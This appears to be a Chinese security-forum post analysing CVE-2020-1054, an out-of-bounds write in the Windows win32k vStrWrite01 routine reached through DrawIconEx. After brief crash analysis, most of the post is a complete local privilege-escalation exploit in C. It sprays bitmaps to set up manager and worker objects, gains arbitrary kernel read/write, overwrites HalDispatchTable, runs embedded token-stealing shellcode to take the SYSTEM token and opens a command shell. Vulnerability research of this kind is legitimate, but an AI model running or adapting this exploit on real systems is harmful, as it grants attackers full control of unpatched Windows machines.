[原创]win越界写漏洞分析 CVE-2020-1054
2023-1-5 18:16:53 Author: bbs.pediy.com(查看原文) 阅读量:20 收藏

这篇是1-4正好赶上换域名时编辑的帖子,换完全没了,心态炸了。。。
还未写完,后续补补,怕编辑中的帖子又没了
参考链接:
https://cpr-zero.checkpoint.com/vulns/cprid-2153/
https://www.anquanke.com/post/id/209329#h2-0
https://bbs.kanxue.com/thread-273701.htmhttps://bbs.kanxue.com/thread-260884.htm
漏洞poc

https://learn.microsoft.com/zh-cn/windows/win32/api/wingdi/nf-wingdi-createcompatibledc
CreateCompatibleDC 函数 (DC) 创建与指定设备兼容的内存设备上下文。
https://learn.microsoft.com/zh-cn/windows/win32/api/wingdi/nf-wingdi-createcompatiblebitmap
CreateCompatibleBitmap 函数创建与与指定设备上下文关联的设备的位图。
https://learn.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-drawiconex
DrawIconEx将图标或光标绘制到指定的设备上下文中,执行指定的光栅操作,并按指定拉伸或压缩图标或光标。
编译运行poc,系统触发蓝屏,挂上winbdg看看
图片描述
图片描述
可以看到是在win32k!vStrWrite01+0x36a处触发的漏洞
图片描述
崩溃是由于无效的内存引用而发生的,CheckPoint网站上对这个漏洞的描述是它是一个越界(OOB)写入漏洞。
触发漏洞的vStrWrite01函数中的结构如下

创建用来触发漏洞的BitMap对象hExpBitMap(fffff900’c700000)
在hExpBitMap偏移0x100070000处放置一个BitMap对象,作为hManager
在hManager之后偏移0x7000地址处分配一个BitMap对象作为hWorker
(申请足够多的SURFOBJs(通过CreateCompatibleBitmap)这样其中一个会被分配在(fffff900’c700000)
另一个SURFOBJ会被分配在第一个的后面
同时第三个SURFOBJ会被分配在第二个的后面
计算出 loop_iterations * lDelta 的值,让这个值等于 fffff901'c7000240
)
触发漏洞,扩大hManager所对应的BitMap对象的sizelBitmap来扩大hManager的可读写范围
通过hManager修改hWorker对应的BitMap对象的pvScan0
就可以实现任意地址读写修改进程的token实现提权
exp

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

296

297

298

299

300

301

302

303

304

305

306

307

308

309

310

311

312

313

314

315

316

317

318

319

320

321

322

323

324

325

326

327

328

329

330

331

332

333

334

335

336

337

338

339

340

341

342

343

344

345

346

347

348

349

350

351

352

353

354

355

356

357

358

359

360

EXTERN_C_START

ULONG64 GetPEB();

NTSTATUS ShellCodeInWin7();

EXTERN_C_END

/*

.code

ShellCodeInWin7 proc

    push r8

    push r9

    ; 从KPCR中获取当前线程_ETHREAD

    mov rax, gs:[188h]

    ; 从_ETHREAD中获取当前进程_EPROCESS

    mov rax, [rax+070h]

    mov r8, rax

find_system_proc:

    ; 获取下一进程EPROCESS地址

    mov rax, [rax+188h]

    sub rax, 188h

    ; 获取PID

    mov rdx, [rax+180h]

    ; 判断pid是否为4,不为4则跳转

    cmp rdx, 4

    jne find_system_proc

    ; 将system的token赋值给本进程,并增加引用计数

    mov rax, [rax+208h]

    and al, 0f0h

    mov [r8+208h], rax

    mov r9, 2

    add [rax-30h], r9

    ; 设置返回值,退出函数

    mov rax, 1

    pop r9

    pop r8

    ret

ShellCodeInWin7 endp

.code

GetPEB proc

    mov rax, gs:[60h]

    ret

GetPEB endp

end

*/

typedef DWORD64 QWORD;

typedef PDWORD64 PQWORD;

typedef struct _LARGE_UNICODE_STRING {

    ULONG Length;

    ULONG MaximumLength : 31;

    ULONG bAnsi : 1;

    PWSTR Buffer;

} LARGE_UNICODE_STRING, * PLARGE_UNICODE_STRING;

typedef struct _HEAD

{

    HANDLE h;

    DWORD clockObj;

}HEAD, * PHEAD;

typedef struct _THROBJHEAD

{

    HEAD h;

    PVOID pti;

}THROBJHEAD, * PTHROBJHEAD;

typedef struct _THRDESKHEAD

{

    THROBJHEAD h;

    PVOID rpdesk;

    PVOID pSelf;

}THRDESKHEAD, * PTHRDESKHEAD;

typedef struct _GDICELL64 {

    PVOID pKernelAddress;

    USHORT wProcessId;

    USHORT wCount;

    USHORT wUpper;

    USHORT wType;

    PVOID pUserAddress;

} GDICELL64, * PGDICELL64;

typedef NTSTATUS(WINAPI* lpfnNtQueryIntervalProfile)(IN QWORD Src, IN OUT PQWORD Profile);

VOID ShowError(char* str, DWORD dwErrorCode)

{

    printf("%s Error 0x%X\n", str, dwErrorCode);

}

ULONG64 GetNTBase()

{

    ULONG64 Base[0x1000];

    DWORD dwRet = 0;

    ULONG64 ulKrnlBase = 0;

    if (EnumDeviceDrivers((LPVOID*)&Base, sizeof(Base), &dwRet))

    {

        ulKrnlBase = Base[0];

    }

    else

    {

        printf("EnumDeviceDrivers");

    }

    return ulKrnlBase;

}

PVOID GetHalQuerySystemInformation()

{

    PVOID pXHalQuerySystemInformation = NULL;

    ULONG64 ulHalDispatchTable = 0;

    HMODULE hKernel = NULL;

    ULONG64 ulOsBase = 0;

    ulOsBase = GetNTBase();

    if (!ulOsBase)

    {

        goto exit;

    }

    hKernel = LoadLibraryA("ntoskrnl.exe");

    if (!hKernel)

    {

        printf("LoadLibrary");

        goto exit;

    }

    // 获取内核HalDispatchTable函数表地址

    ulHalDispatchTable = (ULONG64)GetProcAddress((HMODULE)hKernel, "HalDispatchTable");

    if (!ulHalDispatchTable)

    {

        printf("GetProcAddress");

        goto exit;

    }

    ulHalDispatchTable = ulHalDispatchTable - (ULONG64)hKernel + ulOsBase;

    pXHalQuerySystemInformation = (PVOID)(ulHalDispatchTable + sizeof(ULONG64));

exit:

    if (hKernel) FreeLibrary(hKernel);

    return pXHalQuerySystemInformation;

}

BOOL CallNtQueryIntervalProfile()

{

    BOOL bRet = TRUE;

    NTSTATUS status = 0;

    HMODULE hDll = NULL;

    hDll = LoadLibraryA("ntdll.dll");

    if (!hDll)

    {

        printf("LoadLibrary ntdll.dll");

        return FALSE;

    }

    lpfnNtQueryIntervalProfile NtQueryIntervalProfile = (lpfnNtQueryIntervalProfile)GetProcAddress(hDll, "NtQueryIntervalProfile");

    if (!NtQueryIntervalProfile)

    {

        bRet = FALSE;

        printf("GetProcAddress");

        return FALSE;

    }

    QWORD dwRet = 0;

    QWORD dwProfileTotalIssues = 0x3;

    status = NtQueryIntervalProfile(dwProfileTotalIssues, &dwRet);

    if (status < 0)

    {

        printf("NtQueryIntervalProfile");

        return FALSE;

    }

}

//成功扩大hManager的读写范围之后,就可以通过修改hWorker的pvScan0来实现任意地址读写

BOOL EnablePrivilege_CVE_2020_1054(HBITMAP hManager, HBITMAP hWorker, ULONG64 ulSize)

{

    PVOID pBuf = NULL;

    pBuf = malloc(ulSize + 0x10);

    if (!pBuf)

    {

        printf("malloc error");

        return FALSE;

    }

    ZeroMemory(pBuf, ulSize + 0x10);

    if (!GetBitmapBits(hManager, ulSize, pBuf))

    {

        printf("GetBitmapBits error");

        return FALSE;

    }

    ULONG64 ulHalQuerySystenInformation = (ULONG64)GetHalQuerySystemInformation();

    if (!ulHalQuerySystenInformation)

    {

        printf("GetHalQuerySystemInformation error");

        return FALSE;

    }

    *(PULONG64)((ULONG64)pBuf + ulSize) = ulHalQuerySystenInformation;

    if (!SetBitmapBits(hManager, ulSize + sizeof(ULONG64), pBuf))

    {

        printf("SetBitmapBits");

        return FALSE;

    }

    ULONG64 ulOrg = 0;

    if (!GetBitmapBits(hWorker, sizeof(ULONG64), &ulOrg))

    {

        printf("GetBitmapBits error");

        return FALSE;

    }

    ULONG64 ulShellCode = (ULONG64)ShellCodeInWin7;

    if (!SetBitmapBits(hWorker, sizeof(ULONG64), &ulShellCode))

    {

        printf("GetBitmapBits");

        return FALSE;

    }

    if (!CallNtQueryIntervalProfile())

    {

        return FALSE;

    }

    if (!SetBitmapBits(hWorker, sizeof(ULONG64), &ulOrg))

    {

        printf("GetBitmapBits");

        return FALSE;

    }

}

ULONG64 GetBitMapKerAddr(HBITMAP hBitMap)

{

    ULONG64 pKernelAddress = NULL;

    ULONG64 ulPEB = GetPEB();

    ULONG64 ulGdiSharedHandleTable = *(PULONG64)(ulPEB + 0xF8);

    PGDICELL64 pGdiCell = NULL;

    pGdiCell = (PGDICELL64)(ulGdiSharedHandleTable + sizeof(GDICELL64) * ((ULONG64)hBitMap & 0xFFFF));

    return (ULONG64)pGdiCell->pKernelAddress;

}

static VOID CreateCmd()

{

    STARTUPINFO si = { sizeof(si) };

    PROCESS_INFORMATION pi = { 0 };

    si.dwFlags = STARTF_USESHOWWINDOW;

    si.wShowWindow = SW_SHOW;

    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };

    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);

    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);

}

int main()

{

    //喷射大量0x7000大小的BitMap对象

    if (!LoadLibraryA("user32.dll"))

    {

        printf("LoadLibrary error");

        return 0;

    }

    HDC hdc = NULL;

    hdc = CreateCompatibleDC(NULL);

    if (!hdc)

    {

        printf("CreateCompatibleDC error");

        return 0;

    }

    HBITMAP hExpBitMap = NULL;

    hExpBitMap = CreateCompatibleBitmap(hdc, 0x51500, 0x100);

    if (!hExpBitMap)

    {

        printf("CreateCompatibleBitmap error");

        return 0;

    }

    ULONG64 ulExpBitMap = GetBitMapKerAddr(hExpBitMap);

    ULONG64 oob_target = (ulExpBitMap & 0xfffffffffff00000) + 0x0000000100000000;

    HBITMAP hManager = NULL, hWorker = NULL;

    ULONG64 ulManager = 0, ulWorker = 0;

    while (true)

    {

        HBITMAP hBitMap = NULL;

        hBitMap = CreateCompatibleBitmap(hdc, 0x6F000, 0x8);

        if (!hBitMap)

        {

            printf("CreateCompatibleBitmap error");

            return 0;

        }

        ULONG64 ulBitMapKerAddr = GetBitMapKerAddr(hBitMap);

        if (hManager)

        {

            ulWorker = ulBitMapKerAddr;

            hWorker = hBitMap;

            break;

        }

        else if (ulBitMapKerAddr >= oob_target && (ulBitMapKerAddr & 0x0000000000070000) == 0x70000)

        {

            ulManager = ulBitMapKerAddr;

            hManager = hBitMap;

        }

    }

    // 触发漏洞,修改hManger的可读写范围

    SelectObject(hdc, hExpBitMap);

    DrawIconEx(hdc, 0x900, 0xb, (HICON)0x40000010003, 0x0, 0xffe00000, 0x0, 0x0, 0x1);

    ULONG64 ulSize = ulWorker + 0x50 - (ulManager + 0x238);

    if (!EnablePrivilege_CVE_2020_1054(hManager, hWorker, ulSize))

    {

        printf("error");

        return 0;

    }

    CreateCmd();

    return 0;

}


文章来源: https://bbs.pediy.com/thread-275736.htm
如有侵权请联系:admin#unsafe.sh